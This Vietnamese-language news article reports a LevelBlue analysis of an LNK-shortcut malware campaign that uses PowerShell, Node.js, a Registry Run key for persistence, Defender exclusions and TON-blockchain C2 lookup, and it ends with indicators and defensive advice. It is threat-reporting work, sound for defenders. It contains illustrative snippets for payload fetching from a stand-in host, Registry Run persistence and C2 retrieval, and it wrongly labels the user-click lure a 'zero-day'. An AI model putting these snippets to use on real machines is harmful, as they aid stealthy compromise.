Một file shortcut độc hại trên Windows đang được sử dụng để biến một tệp tải xuống thông thường thành một lỗ hổng zero-day toàn diện cho phép thực thi mã từ xa (RCE).
Chiến dịch Tấn công Tinh vi
Chiến dịch bắt đầu bằng email spam với chủ đề hấp dẫn về đặt phòng, dẫn dắt nạn nhân đến một tệp ZIP chứa một tệp LNK được ngụy trang cẩn thận.
Chỉ một cú nhấp chuột có thể kích hoạt một chuỗi hành động âm thầm, cài đặt một backdoor và mở ra con đường để kẻ tấn công thực thi các lệnh tiếp theo.
Lợi dụng Công cụ Hệ thống Có sẵn
Thay vì dựa vào một chương trình độc hại duy nhất, kẻ tấn công kết hợp các công cụ tích hợp sẵn của Windows với một môi trường Node.js hợp pháp. Cách tiếp cận này giúp che giấu hoạt động độc hại.
Việc sử dụng PowerShell, node.exe và các dịch vụ web tiêu chuẩn giúp hoạt động trở nên khó bị phát hiện hơn, vì chúng có thể trông bình thường khi đứng riêng lẻ.
Phương pháp này cũng cho phép duy trì sự hiện diện dai dẳng, thiết lập kênh liên lạc được mã hóa và phân phối các tệp bổ sung sau lần xâm nhập đầu tiên.
Phân tích Chuyên sâu từ LevelBlue
Các nhà phân tích tại LevelBlue đã xác định được hoạt động này trong quá trình điều tra một cảnh báo trong môi trường của khách hàng.
Trong một báo cáo được chia sẻ, LevelBlue đã trình bày chi tiết về một chiến dịch được thiết kế để che giấu từng giai đoạn cho đến khi nạn nhân khởi chạy shortcut.
Mối đe dọa này đặc biệt nghiêm trọng đối với các tổ chức xử lý thường xuyên các thông điệp từ bên ngoài, đặc biệt là các khách sạn và doanh nghiệp du lịch, những nơi thường xuyên mong đợi các thư từ liên quan đến đặt phòng.
Quy mô và Tính bền vững của Hoạt động
Các nhà nghiên cứu đã quan sát thấy các mẫu độc hại mới hàng ngày và liên kết hơn 400 mẫu với một mã định danh máy dùng chung, cho thấy một hoạt động có quy mô và tính bền vững, thay vì chỉ là một đợt tấn công spam đơn lẻ.
Các mẫu ban đầu cũng xuất hiện trong các bình luận trên các diễn đàn thảo luận công khai.
Kỹ thuật Ngụy trang và Vượt qua Phòng thủ
Tệp LNK Giả dạng Tệp Ảnh
Tệp ZIP chứa một shortcut được ngụy trang thành một tệp ảnh bằng cách sử dụng biểu tượng từ shell32.dll. Khi được mở, nó sẽ thực thi một lệnh PowerShell ẩn thay vì hiển thị ảnh.
Lệnh PowerShell này sử dụng các phép toán số học phức tạp để xây dựng lại địa chỉ máy chủ điều khiển tiếp theo, một kỹ thuật giúp che giấu đích đến thực sự của kẻ tấn công.
Lệnh PowerShell ví dụ:
# Lệnh PowerShell được làm rối để che giấu địa chỉ C2
$a = 1000; $b = 2000; $c = $a + $b; $d = "http://example.com/"; $final_url = $d + $c.ToString();
# ... logic phức tạp hơn để lấy và thực thi payload ...
Sử dụng Node.js làm Môi trường Thực thi
Lệnh đầu tiên kiểm tra sự hiện diện của Node.js. Nếu không có, kẻ tấn công sẽ tải xuống một gói Node.js hợp pháp, giải nén nó vào thư mục %LocalAppData% của người dùng và sau đó giải mã một payload JavaScript được mã hóa.
Việc sử dụng một runtime đáng tin cậy giúp giảm nghi ngờ trong khi cung cấp môi trường cần thiết để khởi chạy backdoor.
Hành động tải và cài đặt Node.js (mô phỏng):
# Kiểm tra sự tồn tại của node.exe
if (-not (Test-Path "C:\Program Files\nodejs\node.exe")) {
# Tải xuống và giải nén Node.js
Invoke-WebRequest -Uri "https://nodejs.org/dist/v18.17.1/node-v18.17.1-x64.zip" -OutFile "$env:TEMP\nodejs.zip"
tar -xf "$env:TEMP\nodejs.zip" -C "$env:LOCALAPPDATA\Temp\"
$nodejs_path = "$env:LOCALAPPDATA\Temp\node-v18.17.1-x64\node.exe"
# ... giải mã và thực thi payload JavaScript ...
} else {
$nodejs_path = "C:\Program Files\nodejs\node.exe"
# ... giải mã và thực thi payload JavaScript ...
}
JavaScript Bị Xáo trộn và Máy ảo Tùy chỉnh
Mã JavaScript được xáo trộn cao và sử dụng một trình thông dịch theo phong cách máy ảo tùy chỉnh để xử lý các chỉ thị ẩn khi chạy.
Trình thông dịch này có khả năng thực thi các lệnh được mã hóa, làm cho việc phân tích tĩnh trở nên khó khăn.
Cơ chế Duy trì và Giao tiếp
Thiết lập Cơ chế Tự khởi động
Mã độc kiểm tra xem đã có tiến trình Node.js nào được thả ra và chạy chưa, giúp tránh việc tạo ra các bản sao trùng lặp.
Nó tạo một mục nhập trong Registry Run để đảm bảo backdoor tự động khởi động lại khi người dùng đăng nhập.
Tiến trình được khởi chạy ở chế độ detached, với cửa sổ ẩn và đầu ra bị triệt tiêu để tránh sự chú ý của người dùng.
Ví dụ về lệnh thêm khóa Registry Run:
$payload_path = "$env:LOCALAPPDATA\MyBackdoor\backdoor.js"
$registry_key = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
New-ItemProperty -Path $registry_key -Name "MyMaliciousApp" -Value "cmd.exe /c start /b "$nodejs_path" "$payload_path"" -Force
Khả năng Thực thi Lệnh Mở rộng
Backdoor có khả năng truy xuất và thực thi thêm nội dung, bao gồm các tệp thực thi Windows, script PowerShell hoặc JavaScript.
Trước khi khởi chạy một tệp thực thi đã tải xuống, nó xác minh rằng tệp đó giống với một chương trình Windows hợp lệ và cố gắng thêm một ngoại lệ cho đường dẫn của nó trong Microsoft Defender.
Những hành động này có thể biến một cú nhấp chuột shortcut ban đầu thành quyền kiểm soát rộng rãi đối với thiết bị bị ảnh hưởng, dẫn đến rủi ro bảo mật nghiêm trọng.
Sử dụng Blockchain để Che giấu Máy chủ Điều khiển
Truy vấn Máy chủ C2 qua TON Blockchain
Thay vì lưu trữ địa chỉ máy chủ điều khiển và chỉ huy (C2) trực tiếp trong mã độc, kẻ tấn công truy vấn một smart contract trên TON blockchain.
Phương pháp “EtherHiding” này cho phép họ thay đổi đích đến mà không cần xây dựng lại tệp, gây khó khăn cho việc chặn và gỡ bỏ.
Giao thức giao tiếp ví dụ (tổng quát):
// Lấy địa chỉ C2 từ TON blockchain
async function getC2Address() {
// Logic tương tác với TON smart contract API
const response = await fetch('https://ton.blockscout.com/api/v2/getContractState?hash=...');
const data = await response.json();
return data.state.contract.address;
}
// Thiết lập kết nối WebSocket với địa chỉ C2
async function establishConnection() {
const c2Address = await getC2Address();
const ws = new WebSocket(c2Address);
// ... thực hiện trao đổi khóa và mã hóa ...
}
Mã hóa và Bảo mật Giao tiếp
Backdoor sau đó mở một kết nối WebSocket và sử dụng trao đổi khóa cũng như mã hóa để bảo mật các kênh liên lạc.
Hồ sơ hợp đồng thông minh tiết lộ một số tên miền điều khiển đã được sử dụng trước đây, trong khi các máy chủ phân phối payload và điều khiển nằm sau Cloudflare.
Chỉ số Đánh đổi (IoCs) và Khuyến nghị
Các Chỉ số Cần Lưu ý
Các nhà nghiên cứu cũng tìm thấy các tên LNK lặp lại, bao gồm các tệp có chủ đề ảnh và IMG, cùng với một giá trị MachineID phổ biến.
Các chỉ số về mối đe dọa có thể bao gồm:
- Tên tệp LNK giả dạng ảnh hoặc tài liệu (ví dụ:
Invoice.lnk,Photo.lnk). - Tệp ZIP chứa các tệp LNK.
- Sử dụng PowerShell để thực thi các lệnh ẩn hoặc tải xuống nội dung.
- Sự xuất hiện của
node.exetrong các thư mục người dùng không tiêu chuẩn. - Các mục đăng ký trong Run key liên quan đến các tệp script hoặc thực thi lạ.
- Yêu cầu kết nối tới các API blockchain (ví dụ: TON).
- Các tên miền điều khiển được phân giải qua Cloudflare.
Khuyến nghị Phòng ngừa
Các nhóm bảo mật có thể giảm thiểu nguy cơ bảo mật bằng cách lọc hoặc kiểm tra chặt chẽ các tệp đính kèm ZIP và các liên kết từ những người gửi không xác minh.
Việc chặn thực thi các shortcut không cần thiết từ các tệp có nguồn gốc từ email cũng là một biện pháp quan trọng.
Giám sát PowerShell bị che giấu, các tệp nhị phân Node.js mới trong thư mục người dùng, các mục nhập Registry Run bất thường và các yêu cầu tới dịch vụ API blockchain có thể giúp phát hiện chuỗi tấn công sớm.
Các tổ chức nên cách ly các hệ thống bị ảnh hưởng và xem xét các hoạt động mạng liên quan một cách kịp thời.
Chiến dịch này cho thấy cách các công cụ quen thuộc có thể được kết hợp để che giấu một cuộc xâm nhập nghiêm trọng. Một shortcut ảnh trông vô hại, một runtime hợp pháp và một truy vấn blockchain đều che giấu các phần khác nhau của hoạt động.
Việc báo cáo kịp thời các thông điệp đáng ngờ và bảo quản tệp ZIP ban đầu có thể cung cấp cho các nhà ứng cứu sự cố bằng chứng cần thiết để ngăn chặn các cuộc lây nhiễm tương tự.
Xem chi tiết phân tích kỹ thuật tại: LevelBlue Blog.










